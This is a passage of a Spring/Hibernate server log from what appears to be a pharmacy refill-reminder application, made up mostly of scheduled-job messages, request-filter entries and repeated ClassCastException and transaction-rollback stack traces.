java.lang.Thread.run(Thread.java:748) 2024-02-26 05:34:59 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 05:35:29 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 05:35:29 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 05:35:29 INFO RequestFilter:37 - Begin: RequestFilter -> doFilter ################### @@@@@@@@@@@@@@@@@@@@@@ https://compliancereward.ssasoft.com 2024-02-26 05:35:29 INFO RequestFilter:38 - SERVER_MODE: dev 2024-02-26 05:35:29 INFO PropertiesUtil:47 - SERVER_MODE: dev 2024-02-26 05:35:29 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 05:35:29 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 05:35:29 INFO RequestFilter:64 - RequestFilter -> doFilter -> Application URL:https://compliancereward.ssasoft.com/login IP: 0:0:0:0:0:0:0:1 Requested URL:/___proxy_subdomain_webdisk/ 2024-02-26 05:36:01 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 05:36:01 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 05:36:01 INFO RequestFilter:37 - Begin: RequestFilter -> doFilter ################### @@@@@@@@@@@@@@@@@@@@@@ https://compliancereward.ssasoft.com 2024-02-26 05:36:01 INFO RequestFilter:38 - SERVER_MODE: dev 2024-02-26 05:36:01 INFO PropertiesUtil:47 - SERVER_MODE: dev 2024-02-26 05:36:01 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 05:36:01 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 05:36:01 INFO RequestFilter:64 - RequestFilter -> doFilter -> Application URL:https://compliancereward.ssasoft.com/login IP: 0:0:0:0:0:0:0:1 Requested URL:/login 2024-02-26 05:36:01 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 05:36:01 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 05:36:01 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 05:36:01 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 05:36:01 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 05:36:01 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 05:36:01 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 05:36:01 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 05:36:01 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 05:36:01 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 05:36:01 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 05:36:01 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 05:36:01 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 05:36:01 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 05:36:01 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 05:36:01 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 05:36:01 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 05:36:01 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 05:36:01 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 05:36:01 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 05:36:01 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 05:36:01 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 05:36:01 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 05:36:01 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 05:36:01 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 05:36:01 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 05:36:01 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 05:36:01 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 05:36:01 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 05:36:01 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 05:36:01 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 05:36:01 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 05:36:01 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 05:36:01 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 05:36:01 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 05:36:01 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 05:36:01 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 05:36:01 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 05:36:01 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 05:36:01 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 05:36:01 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 05:36:01 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 05:36:01 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 05:36:01 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 05:36:01 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 05:36:01 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 05:36:01 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 05:36:01 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 05:36:01 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 05:36:01 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 05:36:01 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 05:36:01 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 05:36:01 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 05:36:01 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 05:36:01 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 05:36:01 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 05:36:01 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 05:36:01 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 05:36:01 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 05:36:01 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 05:36:01 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 05:36:01 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 05:40:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 05:40:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 05:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 05:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 05:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 05:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 05:40:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 05:40:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 05:40:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 05:40:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 05:40:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 05:40:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 05:40:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 05:40:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 05:41:06 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 05:41:06 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 05:41:06 INFO RequestFilter:37 - Begin: RequestFilter -> doFilter ################### @@@@@@@@@@@@@@@@@@@@@@ https://compliancereward.ssasoft.com 2024-02-26 05:41:06 INFO RequestFilter:38 - SERVER_MODE: dev 2024-02-26 05:41:06 INFO PropertiesUtil:47 - SERVER_MODE: dev 2024-02-26 05:41:06 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 05:41:06 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 05:41:06 INFO RequestFilter:64 - RequestFilter -> doFilter -> Application URL:https://compliancereward.ssasoft.com/login IP: 0:0:0:0:0:0:0:1 Requested URL:/___proxy_subdomain_cpanel/ 2024-02-26 05:45:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 05:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 05:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 05:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 05:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 05:45:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 05:45:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 05:45:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 05:45:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 05:45:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 05:45:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 05:45:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 05:45:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 05:45:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 05:50:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 05:50:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at 